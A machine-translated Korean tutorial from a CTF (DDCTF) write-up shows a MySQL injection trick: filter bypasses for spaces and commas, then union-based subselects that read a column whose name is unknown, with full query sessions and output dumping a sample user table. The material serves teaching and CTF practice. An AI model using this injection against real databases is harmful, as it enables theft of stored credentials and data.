집 >데이터 베이스 >MySQL 튜토리얼 >Mysql이 알 수 없는 필드 이름을 교묘하게 우회하는 방법에 대한 예제 코드에 대한 자세한 설명
이 글은 주로 Mysql을 통해 알 수 없는 필드 이름을 교묘하게 우회하는 방법을 소개합니다. 이 글은 여러분의 참고와 학습을 위한 구체적인 샘플 코드를 제공합니다. 필요한 친구들은 함께 살펴보세요. 아래에.
머리말
이 기사에서는 알 수 없는 필드 이름을 우회하는 기술인 DDCTF를 소개합니다. 아이디어가 훌륭하고 명확합니다. 자세한 소개:
구현 아이디어
공백과 쉼표를 필터링하려면 %0a, %0b, %0c, %0d, %a0 또는 괄호를 직접 사용하면 됩니다.
플래그가 저장된 필드 이름을 알 수 없습니다. formation_schema.columns에서는 테이블 이름의 16진수도 필터링합니다. 즉, 필드 이름을 얻을 수 없습니다. 공동 쿼리, 프로세스는 다음과 같습니다.
플래그를 가져와 알려진 필드 이름 아래에 표시하도록 합니다.
샘플 코드:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
요약
위 내용은 Mysql이 알 수 없는 필드 이름을 교묘하게 우회하는 방법에 대한 예제 코드에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!